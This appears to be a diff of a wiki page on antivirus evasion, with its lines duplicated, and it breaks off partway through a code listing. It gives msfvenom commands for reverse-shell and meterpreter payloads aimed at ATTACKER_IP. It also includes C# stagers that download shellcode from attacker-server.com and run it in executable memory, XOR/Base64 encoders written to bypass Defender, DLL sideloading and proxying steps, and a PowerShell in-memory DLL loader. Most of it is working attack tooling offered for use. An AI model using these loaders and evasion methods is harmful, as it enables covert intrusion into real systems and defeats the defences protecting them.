  msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -f raw > /tmp/example.bin
  msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -f raw > /tmp/example.bin
</syntaxhighlight>
</syntaxhighlight>


This command generates a raw payload without any encoding, resulting in a shellcode with a size of 193 bytes.
This command generates a raw payload without any encoding, resulting in a shellcode with a size of 193 bytes.


* Verify the file type of <code>/tmp/example.bin</code> using the <code>file</code> command:
* Verify the file type of <code>/tmp/example.bin</code> using the <code>file</code> command:


<syntaxhighlight lang="bash">
<syntaxhighlight lang="bash">
file /tmp/example.bin
file /tmp/example.bin
</syntaxhighlight>
</syntaxhighlight>


The output should indicate that <code>/tmp/example.bin</code> is a data file.
The output should indicate that <code>/tmp/example.bin</code> is a data file.


* Extract the shellcode from the binary file using the <code>xxd -i</code> command:
* Extract the shellcode from the binary file using the <code>xxd -i</code> command:


<syntaxhighlight lang="bash">
<syntaxhighlight lang="bash">
xxd -i /tmp/example.bin
xxd -i /tmp/example.bin
</syntaxhighlight>
</syntaxhighlight>


This command converts the binary file to its hexadecimal representation and outputs it as an array of unsigned characters (<code>_tmp_example_bin[]</code>). The length of the shellcode is also provided (<code>_tmp_example_bin_len = 193</code>).
This command converts the binary file to its hexadecimal representation and outputs it as an array of unsigned characters (<code>_tmp_example_bin[]</code>). The length of the shellcode is also provided (<code>_tmp_example_bin_len = 193</code>).


By comparing the output with the previously created shellcode using Metasploit, you can verify that they match.
By comparing the output with the previously created shellcode using Metasploit, you can verify that they match.


----
----


== Staged payloads ==
== Staged payloads ==


Staged payloads are a technique used in exploit development and remote code execution scenarios. They involve breaking down the payload into multiple stages or steps, where each stage is responsible for executing a specific task and preparing the system for the final payload execution.
Staged payloads are a technique used in exploit development and remote code execution scenarios. They involve breaking down the payload into multiple stages or steps, where each stage is responsible for executing a specific task and preparing the system for the final payload execution.


The final shellcode is loaded in memory and never touches the disk. This makes it less prone to be detected by AV solutions.
The final shellcode is loaded in memory and never touches the disk. This makes it less prone to be detected by AV solutions.


Generate shellcode using msfvenom.
Generate shellcode using msfvenom.


<syntaxhighlight lang="bash">
<syntaxhighlight lang="bash">
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=7474 -f raw -o shellcode.bin -b '\x00\x0a\x0d'
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=7474 -f raw -o shellcode.bin -b '\x00\x0a\x0d'
# -b '\x00\x0a\x0d': Sets a list of characters to avoid in the generated shellcode. The characters '\x00\x0a\x0d' correspond to null byte, line feed, and carriage return, which are common characters that can cause issues when injecting shellcode into certain parts of memory or when transmitting it over a network.
# -b '\x00\x0a\x0d': Sets a list of characters to avoid in the generated shellcode. The characters '\x00\x0a\x0d' correspond to null byte, line feed, and carriage return, which are common characters that can cause issues when injecting shellcode into certain parts of memory or when transmitting it over a network.
</syntaxhighlight>
</syntaxhighlight>


Notice that we are using the raw format for our shellcode, as the stager will directly load whatever it downloads into memory.
Notice that we are using the raw format for our shellcode, as the stager will directly load whatever it downloads into memory.


Use the staged payload below to fetch the generated shellcode.bin
Use the staged payload below to fetch the generated shellcode.bin


[https://github.com/mvelazc0/defcon27_csharp_workshop/blob/master/Labs/lab2/2.cs https://github.com/mvelazc0/defcon27_csharp_workshop/blob/master/Labs/lab2/2.cs]
[https://github.com/mvelazc0/defcon27_csharp_workshop/blob/master/Labs/lab2/2.cs https://github.com/mvelazc0/defcon27_csharp_workshop/blob/master/Labs/lab2/2.cs]


<syntaxhighlight lang="csharp">
<syntaxhighlight lang="csharp">
Line 2,653: Line 2,059:
using System.Runtime.InteropServices;
using System.Runtime.InteropServices;
using System.Security.Cryptography.X509Certificates;
using System.Security.Cryptography.X509Certificates;
public class Program {
public class Program {
     // P/Invoke to kernel32.VirtualAlloc
     // P/Invoke to kernel32.VirtualAlloc
     [DllImport("kernel32")]
     [DllImport("kernel32")]
     private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
     private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
     // P/Invoke to kernel32.CreateThread
     // P/Invoke to kernel32.CreateThread
     [DllImport("kernel32")]
     [DllImport("kernel32")]
     private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);
     private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);
     // P/Invoke to kernel32.WaitForSingleObject
     // P/Invoke to kernel32.WaitForSingleObject
     [DllImport("kernel32")]
     [DllImport("kernel32")]
     private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
     private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
     // Memory allocation constants
     // Memory allocation constants
     private static UInt32 MEM_COMMIT = 0x1000;
     private static UInt32 MEM_COMMIT = 0x1000;
     private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
     private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
     public static void Main()
     public static void Main()
     {
     {
Line 2,676: Line 2,077:
         Stager(url);
         Stager(url);
     }
     }
     public static void Stager(string url)
     public static void Stager(string url)
     {
     {
         // Create a WebClient instance for downloading the shellcode
         // Create a WebClient instance for downloading the shellcode
         WebClient wc = new WebClient();
         WebClient wc = new WebClient();
         // Ignore certificate validation (for self-signed certificates)
         // Ignore certificate validation (for self-signed certificates)
         ServicePointManager.ServerCertificateValidationCallback = delegate { return true; };
         ServicePointManager.ServerCertificateValidationCallback = delegate { return true; };
         // Set the security protocol to TLS 1.2
         // Set the security protocol to TLS 1.2
         ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
         ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
         // Download the shellcode from the specified URL
         // Download the shellcode from the specified URL
         byte[] shellcode = wc.DownloadData(url);
         byte[] shellcode = wc.DownloadData(url);
         // Allocate memory for the shellcode to be executed
         // Allocate memory for the shellcode to be executed
         UInt32 codeAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
         UInt32 codeAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
         // Copy the shellcode to the allocated memory
         // Copy the shellcode to the allocated memory
         Marshal.Copy(shellcode, 0, (IntPtr)(codeAddr), shellcode.Length);
         Marshal.Copy(shellcode, 0, (IntPtr)(codeAddr), shellcode.Length);
         // Variables for thread creation and execution
         // Variables for thread creation and execution
         IntPtr threadHandle = IntPtr.Zero;
         IntPtr threadHandle = IntPtr.Zero;
         UInt32 threadId = 0;
         UInt32 threadId = 0;
         IntPtr parameter = IntPtr.Zero;
         IntPtr parameter = IntPtr.Zero;
         // Create a new thread to execute the shellcode
         // Create a new thread to execute the shellcode
         threadHandle = CreateThread(0, 0, codeAddr, parameter, 0, ref threadId);
         threadHandle = CreateThread(0, 0, codeAddr, parameter, 0, ref threadId);
         // Wait for the thread to finish executing the shellcode
         // Wait for the thread to finish executing the shellcode
         WaitForSingleObject(threadHandle, 0xFFFFFFFF);
         WaitForSingleObject(threadHandle, 0xFFFFFFFF);
     }
     }
}
}
</syntaxhighlight>
</syntaxhighlight>


'''Another version '''
'''Another version '''


<syntaxhighlight lang="csharp">
<syntaxhighlight lang="csharp">
Line 2,721: Line 2,110:
using System.Runtime.InteropServices;
using System.Runtime.InteropServices;
using System.Security.Cryptography.X509Certificates;
using System.Security.Cryptography.X509Certificates;
public class Program
public class Program
{
{
Line 2,727: Line 2,115:
     [DllImport("kernel32")]
     [DllImport("kernel32")]
     private static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
     private static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
     // P/Invoke to kernel32.CreateThread
     // P/Invoke to kernel32.CreateThread
     [DllImport("kernel32")]
     [DllImport("kernel32")]
     private static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out uint lpThreadId);
     private static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out uint lpThreadId);
     // P/Invoke to kernel32.WaitForSingleObject
     // P/Invoke to kernel32.WaitForSingleObject
     [DllImport("kernel32")]
     [DllImport("kernel32")]
     private static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
     private static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
     // Memory allocation constants
     // Memory allocation constants
     private static uint MEM_COMMIT = 0x1000;
     private static uint MEM_COMMIT = 0x1000;
     private static uint PAGE_EXECUTE_READWRITE = 0x40;
     private static uint PAGE_EXECUTE_READWRITE = 0x40;
     public static void Main()
     public static void Main()
     {
     {
         // URL for the second stage payload
         // URL for the second stage payload
         string stage2Url = "https://attacker-server.com/stage2.bin";
         string stage2Url = "https://attacker-server.com/stage2.bin";
         // Download and execute the second stage payload
         // Download and execute the second stage payload
         DownloadAndExecute(stage2Url);
         DownloadAndExecute(stage2Url);
     }
     }
     public static void DownloadAndExecute(string url)
     public static void DownloadAndExecute(string url)
     {
     {
Line 2,754: Line 2,136:
         ServicePointManager.ServerCertificateValidationCallback = delegate { return true; };
         ServicePointManager.ServerCertificateValidationCallback = delegate { return true; };
         ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
         ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
         // Download the second stage payload
         // Download the second stage payload
         byte[] payload = wc.DownloadData(url);
         byte[] payload = wc.DownloadData(url);
         // Allocate memory for the payload
         // Allocate memory for the payload
         IntPtr payloadAddress = VirtualAlloc(IntPtr.Zero, (uint)payload.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
         IntPtr payloadAddress = VirtualAlloc(IntPtr.Zero, (uint)payload.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
         // Copy the payload to the allocated memory
         // Copy the payload to the allocated memory
         Marshal.Copy(payload, 0, payloadAddress, payload.Length);
         Marshal.Copy(payload, 0, payloadAddress, payload.Length);
         // Execute the payload in a new thread
         // Execute the payload in a new thread
         IntPtr threadHandle;
         IntPtr threadHandle;
         uint threadId;
         uint threadId;
         threadHandle = CreateThread(IntPtr.Zero, 0, payloadAddress, IntPtr.Zero, 0, out threadId);
         threadHandle = CreateThread(IntPtr.Zero, 0, payloadAddress, IntPtr.Zero, 0, out threadId);
         // Wait for the thread to finish executing the payload
         // Wait for the thread to finish executing the payload
         WaitForSingleObject(threadHandle, 0xFFFFFFFF);
         WaitForSingleObject(threadHandle, 0xFFFFFFFF);
     }
     }
}
}
</syntaxhighlight>
</syntaxhighlight>


We can compile the staged payload by using <code>csc</code> on linux.
We can compile the staged payload by using <code>csc</code> on linux.


<syntaxhighlight lang="bash">
<syntaxhighlight lang="bash">
csc staged-payload.cs
csc staged-payload.cs
</syntaxhighlight>
</syntaxhighlight>


Setup a simple HTTPS server.
Setup a simple HTTPS server.


<syntaxhighlight lang="bash">
<syntaxhighlight lang="bash">
openssl req -new -x509 -keyout localhost.pem -out localhost.pem -days 365 -nodes
openssl req -new -x509 -keyout localhost.pem -out localhost.pem -days 365 -nodes
</syntaxhighlight>
</syntaxhighlight>


<syntaxhighlight lang="bash">
<syntaxhighlight lang="bash">
python3 -c "import http.server, ssl;server_address=('0.0.0.0',443);httpd=http.server.HTTPServer(server_address,http.server.SimpleHTTPRequestHandler);httpd.socket=ssl.wrap_socket(httpd.socket,server_side=True,certfile='localhost.pem',ssl_version=ssl.PROTOCOL_TLSv1_2);httpd.serve_forever()"
python3 -c "import http.server, ssl;server_address=('0.0.0.0',443);httpd=http.server.HTTPServer(server_address,http.server.SimpleHTTPRequestHandler);httpd.socket=ssl.wrap_socket(httpd.socket,server_side=True,certfile='localhost.pem',ssl_version=ssl.PROTOCOL_TLSv1_2);httpd.serve_forever()"
</syntaxhighlight>
</syntaxhighlight>


Catch the reverse shell
Catch the reverse shell


<syntaxhighlight lang="bash">
<syntaxhighlight lang="bash">
nc -lvp 7474
nc -lvp 7474
</syntaxhighlight>
</syntaxhighlight>


----
----


== Encoding and Encryption ==
== Encoding and Encryption ==


=== What is encoding? ===
=== What is encoding? ===


Encoding refers to the process of transforming data into a specific format or representation, often depending on a particular algorithm or encoding type. It is commonly used in various contexts, such as program execution, data storage and transmission, and file conversion. Encoding can be applied to different types of data, including videos, HTML, URLs, and binary files like executables and images.
Encoding refers to the process of transforming data into a specific format or representation, often depending on a particular algorithm or encoding type. It is commonly used in various contexts, such as program execution, data storage and transmission, and file conversion. Encoding can be applied to different types of data, including videos, HTML, URLs, and binary files like executables and images.


=== What is encryption? ===
=== What is encryption? ===


Encryption plays a crucial role in ensuring information and data security. It focuses on protecting data from unauthorized access and manipulation. Encryption involves converting plain, unencrypted content (plaintext) into an encrypted form (ciphertext) using an encryption algorithm and a key. Without knowledge of the algorithm and the key, the ciphertext cannot be read or decrypted.
Encryption plays a crucial role in ensuring information and data security. It focuses on protecting data from unauthorized access and manipulation. Encryption involves converting plain, unencrypted content (plaintext) into an encrypted form (ciphertext) using an encryption algorithm and a key. Without knowledge of the algorithm and the key, the ciphertext cannot be read or decrypted.


== Shellcode encoding and encryption ==
== Shellcode encoding and encryption ==


=== List encoders within metasploit framework. ===
=== List encoders within metasploit framework. ===


Notice that all of the public encoders will be detected by AV as soon as it touches the victims disk.
Notice that all of the public encoders will be detected by AV as soon as it touches the victims disk.


<syntaxhighlight lang="bash">
<syntaxhighlight lang="bash">
msfvenom --list encoders | grep excellent
msfvenom --list encoders | grep excellent
</syntaxhighlight>
</syntaxhighlight>


Example of using <code>shikata_ga_nai</code> encoding.
Example of using <code>shikata_ga_nai</code> encoding.


<syntaxhighlight lang="bash">
<syntaxhighlight lang="bash">
msfvenom -a x86 --platform Windows LHOST=ATTACKER_IP LPORT=443 -p windows/shell_reverse_tcp -e x86/shikata_ga_nai -b '\x00' -i 3 -f csharp
msfvenom -a x86 --platform Windows LHOST=ATTACKER_IP LPORT=443 -p windows/shell_reverse_tcp -e x86/shikata_ga_nai -b '\x00' -i 3 -f csharp
</syntaxhighlight>
</syntaxhighlight>


=== Listing encryptions modules within Metasploit framework ===
=== Listing encryptions modules within Metasploit framework ===


<syntaxhighlight lang="bash">
<syntaxhighlight lang="bash">
msfvenom --list encrypt
msfvenom --list encrypt
</syntaxhighlight>
</syntaxhighlight>


Example of using XOR encrypted payload.
Example of using XOR encrypted payload.


In XOR encryption, each character of the plaintext (the original unencrypted message) is combined with a corresponding character from a secret key using the XOR operation. The secret key is a sequence of characters that serves as the encryption key. The XOR operation is applied bitwise, meaning it compares each corresponding bit of the plaintext character and the key character.
In XOR encryption, each character of the plaintext (the original unencrypted message) is combined with a corresponding character from a secret key using the XOR operation. The secret key is a sequence of characters that serves as the encryption key. The XOR operation is applied bitwise, meaning it compares each corresponding bit of the plaintext character and the key character.


Notice that the payload will be flagged by the AV. The reason is still that AV vendors have invested lots of time into ensuring simple msfvenom payloads are detected.
Notice that the payload will be flagged by the AV. The reason is still that AV vendors have invested lots of time into ensuring simple msfvenom payloads are detected.


<syntaxhighlight lang="bash">
<syntaxhighlight lang="bash">
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ATTACKER_IP LPORT=7788 -f exe --encrypt xor --encrypt-key "MyZekr3tKey***" -o xored-revshell.exe
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ATTACKER_IP LPORT=7788 -f exe --encrypt xor --encrypt-key "MyZekr3tKey***" -o xored-revshell.exe
</syntaxhighlight>
</syntaxhighlight>


=== Creating custom encoders ===
=== Creating custom encoders ===


==== Encoder ====
==== Encoder ====


 We will take a simple reverse shell generated by msfvenom and use a combination of XOR and Base64 to bypass Defender.
 We will take a simple reverse shell generated by msfvenom and use a combination of XOR and Base64 to bypass Defender.


<syntaxhighlight lang="bash">
<syntaxhighlight lang="bash">
msfvenom LHOST=ATTACKER_IP LPORT=443 -p windows/x64/shell_reverse_tcp -f csharp
msfvenom LHOST=ATTACKER_IP LPORT=443 -p windows/x64/shell_reverse_tcp -f csharp
</syntaxhighlight>
</syntaxhighlight>


 In the code below we will be XORing the payload with a custom key first and then encoding it using base64. This is just an example and you should write your own custom encoder in order to evade detection.
 In the code below we will be XORing the payload with a custom key first and then encoding it using base64. This is just an example and you should write your own custom encoder in order to evade detection.


<syntaxhighlight lang="csharp">
<syntaxhighlight lang="csharp">
Line 2,891: Line 2,236:
using System.Text;
using System.Text;
using System.Threading.Tasks;
using System.Threading.Tasks;
namespace Encrypter
namespace Encrypter
{
{
Line 2,908: Line 2,252:
             //XOR Key - It has to be the same in the Droppr for Decrypting
             //XOR Key - It has to be the same in the Droppr for Decrypting
             string key = "THMK3y123!";
             string key = "THMK3y123!";
             //Convert Key into bytes
             //Convert Key into bytes
             byte[] keyBytes = Encoding.ASCII.GetBytes(key);
             byte[] keyBytes = Encoding.ASCII.GetBytes(key);
             //Original Shellcode here (csharp format)
             //Original Shellcode here (csharp format)
             byte[] buf = new byte[460] { 0xfc,0x48,0x83,..,0xda,0xff,0xd5 };
             byte[] buf = new byte[460] { 0xfc,0x48,0x83,..,0xda,0xff,0xd5 };
             //XORing byte by byte and saving into a new array of bytes
             //XORing byte by byte and saving into a new array of bytes
             byte[] encoded = xor(buf, keyBytes);
             byte[] encoded = xor(buf, keyBytes);
Line 2,922: Line 2,263:
}
}
</syntaxhighlight>
</syntaxhighlight>


 Remember to replace the <code>buf</code> variable with the shellcode you generated with msfvenom.
 Remember to replace the <code>buf</code> variable with the shellcode you generated with msfvenom.


==== Self-decoding Payload ====
==== Self-decoding Payload ====


Since we have an encoded payload, we need to adjust our code so that it decodes the shellcode before executing it. To match the encoder, we will decode everything in the reverse order we encoded it, so we start by decoding the base64 content and then continue by XORing the result with the same key we used in the encoder. 
Since we have an encoded payload, we need to adjust our code so that it decodes the shellcode before executing it. To match the encoder, we will decode everything in the reverse order we encoded it, so we start by decoding the base64 content and then continue by XORing the result with the same key we used in the encoder. 


<syntaxhighlight lang="csharp">
<syntaxhighlight lang="csharp">
Line 2,938: Line 2,275:
using System.Text;
using System.Text;
using System.Runtime.InteropServices;
using System.Runtime.InteropServices;
public class Program {
public class Program {
     // Import required functions from kernel32.dll
     // Import required functions from kernel32.dll
     [DllImport("kernel32")]
     [DllImport("kernel32")]
     private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
     private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
     [DllImport("kernel32")]
     [DllImport("kernel32")]
     private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);
     private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);
     [DllImport("kernel32")]
     [DllImport("kernel32")]
     private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
     private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
     // Constants for memory allocation and protection
     // Constants for memory allocation and protection
     private static UInt32 MEM_COMMIT = 0x1000;
     private static UInt32 MEM_COMMIT = 0x1000;
     private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
     private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
     // XOR operation between shell and key bytes
     // XOR operation between shell and key bytes
     private static byte[] xor(byte[] shell, byte[] keyBytes)
     private static byte[] xor(byte[] shell, byte[] keyBytes)
Line 2,963: Line 2,295:
         return shell;
         return shell;
     }
     }
     public static void Main()
     public static void Main()
     {
     {
Line 2,970: Line 2,301:
         // Convert Base64 string to byte array
         // Convert Base64 string to byte array
         byte[] data = Convert.FromBase64String(dataBS64);
         byte[] data = Convert.FromBase64String(dataBS64);
         // Key used for XOR encoding
         // Key used for XOR encoding
         string key = "THMK3y123!";
         string key = "THMK3y123!";
         // Convert key into bytes
         // Convert key into bytes
         byte[] keyBytes = Encoding.ASCII.GetBytes(key);
         byte[] keyBytes = Encoding.ASCII.GetBytes(key);
         // XOR encode the shellcode
         // XOR encode the shellcode
         byte[] encoded = xor(data, keyBytes);
         byte[] encoded = xor(data, keyBytes);
         // Allocate memory with execute, read, and write permissions
         // Allocate memory with execute, read, and write permissions
         UInt32 codeAddr = VirtualAlloc(0, (UInt32)encoded.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
         UInt32 codeAddr = VirtualAlloc(0, (UInt32)encoded.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
         // Copy encoded shellcode into the allocated memory
         // Copy encoded shellcode into the allocated memory
         Marshal.Copy(encoded, 0, (IntPtr)(codeAddr), encoded.Length);
         Marshal.Copy(encoded, 0, (IntPtr)(codeAddr), encoded.Length);
         IntPtr threadHandle = IntPtr.Zero;
         IntPtr threadHandle = IntPtr.Zero;
         UInt32 threadId = 0;
         UInt32 threadId = 0;
Line 2,989: Line 2,316:
         // Create a new thread to execute the shellcode
         // Create a new thread to execute the shellcode
         threadHandle = CreateThread(0, 0, codeAddr, parameter, 0, ref threadId);
         threadHandle = CreateThread(0, 0, codeAddr, parameter, 0, ref threadId);
         // Wait for the thread to finish executing
         // Wait for the thread to finish executing
         WaitForSingleObject(threadHandle, 0xFFFFFFFF);
         WaitForSingleObject(threadHandle, 0xFFFFFFFF);
     }
     }
}
}
</syntaxhighlight>
</syntaxhighlight>


----
----


== DLL Sideloading  and Proxying ==
== DLL Sideloading  and Proxying ==


=== Sideloading ===
=== Sideloading ===


'''DLL Sideloading''' takes advantage of the DLL search order used by the loader by positioning both the victim application and malicious payload(s) alongside each other.
'''DLL Sideloading''' takes advantage of the DLL search order used by the loader by positioning both the victim application and malicious payload(s) alongside each other.


Check for programs susceptible to DLL Sideloading using [https://github.com/Cybereason/siofra Siofra] and the following powershell script:
Check for programs susceptible to DLL Sideloading using [https://github.com/Cybereason/siofra Siofra] and the following powershell script:


<syntaxhighlight lang="bash">
<syntaxhighlight lang="bash">
# This command will output the list of programs susceptible to DLL hijacking inside "C:\Program Files\" and the DLL files they try to load
# This command will output the list of programs susceptible to DLL hijacking inside "C:\Program Files\" and the DLL files they try to load
Get-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name| ForEach-Object {
Get-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name| ForEach-Object {
     $binarytoCheck = "C:\Program Files\" + $_
     $binarytoCheck = "C:\Program Files\" + $_
Line 3,021: Line 2,339:
}
}
</syntaxhighlight>
</syntaxhighlight>


=== Proxying ===
=== Proxying ===


'''DLL Proxying''' forwards the calls a program makes from the proxy (and malicious) DLL to the original DLL, thus preserving the program's functionality and being able to handle the execution of your payload.
'''DLL Proxying''' forwards the calls a program makes from the proxy (and malicious) DLL to the original DLL, thus preserving the program's functionality and being able to handle the execution of your payload.


Use [https://github.com/Flangvik/SharpDllProxy SharpDLLProxy] fomr @flangvik.
Use [https://github.com/Flangvik/SharpDllProxy SharpDLLProxy] fomr @flangvik.


<syntaxhighlight lang="bash">
<syntaxhighlight lang="bash">
Line 3,038: Line 2,352:
4. Use SharpDLLProxy to create the proxy dll (.\SharpDllProxy.exe --dll .\mimeTools.dll --payload .\demon.bin)
4. Use SharpDLLProxy to create the proxy dll (.\SharpDllProxy.exe --dll .\mimeTools.dll --payload .\demon.bin)
</syntaxhighlight>
</syntaxhighlight>


The last command will give us 2 files: a DLL source code template, and the original renamed DLL.
The last command will give us 2 files: a DLL source code template, and the original renamed DLL.


<syntaxhighlight lang="bash">
<syntaxhighlight lang="bash">
5. Create a new visual studio project (C++ DLL), paste the code generated by SharpDLLProxy (Under output_dllname/dllname_pragma.c) and compile. Now you should have a proxy dll which will load the shellcode you've specified and also forward any calls to the original DLL.
5. Create a new visual studio project (C++ DLL), paste the code generated by SharpDLLProxy (Under output_dllname/dllname_pragma.c) and compile. Now you should have a proxy dll which will load the shellcode you've specified and also forward any calls to the original DLL.
</syntaxhighlight>
</syntaxhighlight>


== DLL Injection ==
== DLL Injection ==


Inspiration: [https://www.purpl3f0xsecur1ty.tech/2021/03/30/av_evasion.html Bypassing Defender on modern Windows 10 systems | Purpl3 F0x Secur1ty]
Inspiration: [https://www.purpl3f0xsecur1ty.tech/2021/03/30/av_evasion.html Bypassing Defender on modern Windows 10 systems | Purpl3 F0x Secur1ty]


What we will do here is create a DLL in Visual Studio that will run our shellcode. Then use powershell to load it directly into memory. This method is good for evasion since it does not write to disk.
What we will do here is create a DLL in Visual Studio that will run our shellcode. Then use powershell to load it directly into memory. This method is good for evasion since it does not write to disk.


* First open Visual Studio and create a new project using the template "Class Library (.NET Framework)
* First open Visual Studio and create a new project using the template "Class Library (.NET Framework)


* Paste the code below and do the required adjustment
* Paste the code below and do the required adjustment


* Build the DLL
* Build the DLL


* Start a webserver using python or apache
* Start a webserver using python or apache


* and run the following powershell command.
* and run the following powershell command.


<syntaxhighlight lang="bash">
<syntaxhighlight lang="bash">
# Download the binary data of the DLL file from the specified URL and store it in the $data variable.
# Download the binary data of the DLL file from the specified URL and store it in the $data variable.
$data = (New-Object System.Net.Webclient).DownloadData('http://192.168.1.126/run2.dll')
$data = (New-Object System.Net.Webclient).DownloadData('http://192.168.1.126/run2.dll')
# Load the DLL data as an assembly and assign it to the $assem variable.
# Load the DLL data as an assembly and assign it to the $assem variable.
$assem = [System.Reflection.Assembly]::Load($data)
$assem = [System.Reflection.Assembly]::Load($data)


# Retrieve the type information of the "ShellcodeRunner" class from the assembly and assign it to the $class variable.
# Retrieve the type information of the "ShellcodeRunner" class from the assembly and assign it to the $class variable.
$class = $assem.GetType("Class1.ShellcodeRunner")
$class = $assem.GetType("Class1.ShellcodeRunner")


# Retrieve the method information of the "RunShellcode" method from the class and assign it to the $method variable.
# Retrieve the method information of the "RunShellcode" method from the class and assign it to the $method variable.
$method = $class.GetMethod("RunShellcode")
$method = $class.GetMethod("RunShellcode")


# Invoke the "RunShellcode" method, passing 0 as the instance object (since it's a static method) and $null as the method arguments.
# Invoke the "RunShellcode" method, passing 0 as the instance object (since it's a static method) and $null as the method arguments.
$method.Invoke(0, $null)
$method.Invoke(0, $null)
</syntaxhighlight>
</syntaxhighlight>


<syntaxhighlight lang="csharp">
<syntaxhighlight lang="csharp">
using System;
using System;
using System.Runtime.InteropServices;
using System.Runtime.InteropServices;


namespace Class1
namespace Class1
Line 3,105: Line 2,402:
         [DllImport("kernel32.dll")]
         [DllImport("kernel32.dll")]
         public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
         public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
         [DllImport("kernel32.dll")]
         [DllImport("kernel32.dll")]
         public static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);
         public static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);
         [DllImport("kernel32.dll")]
         [DllImport("kernel32.dll")]
         public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
         public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
         [DllImport("kernel32.dll")]
         [DllImport("kernel32.dll")]
         public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
         public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
         [DllImport("kernel32.dll")]
         [DllImport("kernel32.dll")]
         public static extern bool VirtualFree(IntPtr lpAddress, uint dwSize, uint dwFreeType);
         public static extern bool VirtualFree(IntPtr lpAddress, uint dwSize, uint dwFreeType);


         public static void RunShellcode()
         public static void RunShellcode()
Line 3,123: Line 2,415:
             // Replace the shellcodeBytes with your actual shellcode
             // Replace the shellcodeBytes with your actual shellcode
             byte[] shellcodeBytes = new byte[460] {0xfc,0x48,...};
             byte[] shellcodeBytes = new byte[460] {0xfc,0x48,...};


             // Allocate memory and copy the shellcode into it
             // Allocate memory and copy the shellcode into it
             IntPtr shellcodePtr = ShellcodeRunner.VirtualAlloc(IntPtr.Zero, (uint)shellcodeBytes.Length, 0x3000, 0x40);
             IntPtr shellcodePtr = ShellcodeRunner.VirtualAlloc(IntPtr.Zero, (uint)shellcodeBytes.Length, 0x3000, 0x40);
             Marshal.Copy(shellcodeBytes, 0, shellcodePtr, shellcodeBytes.Length);
             Marshal.Copy(shellcodeBytes, 0, shellcodePtr, shellcodeBytes.Length);
             // Change the memory protection to allow execution
             // Change the memory protection to allow execution
             ShellcodeRunner.VirtualProtect(shellcodePtr, (uint)shellcodeBytes.Length, 0x20, out _);
             ShellcodeRunner.VirtualProtect(shellcodePtr, (uint)shellcodeBytes.Length, 0x20, out _);
             // Create a new thread to execute the shellcode
             // Create a new thread to execute the shellcode
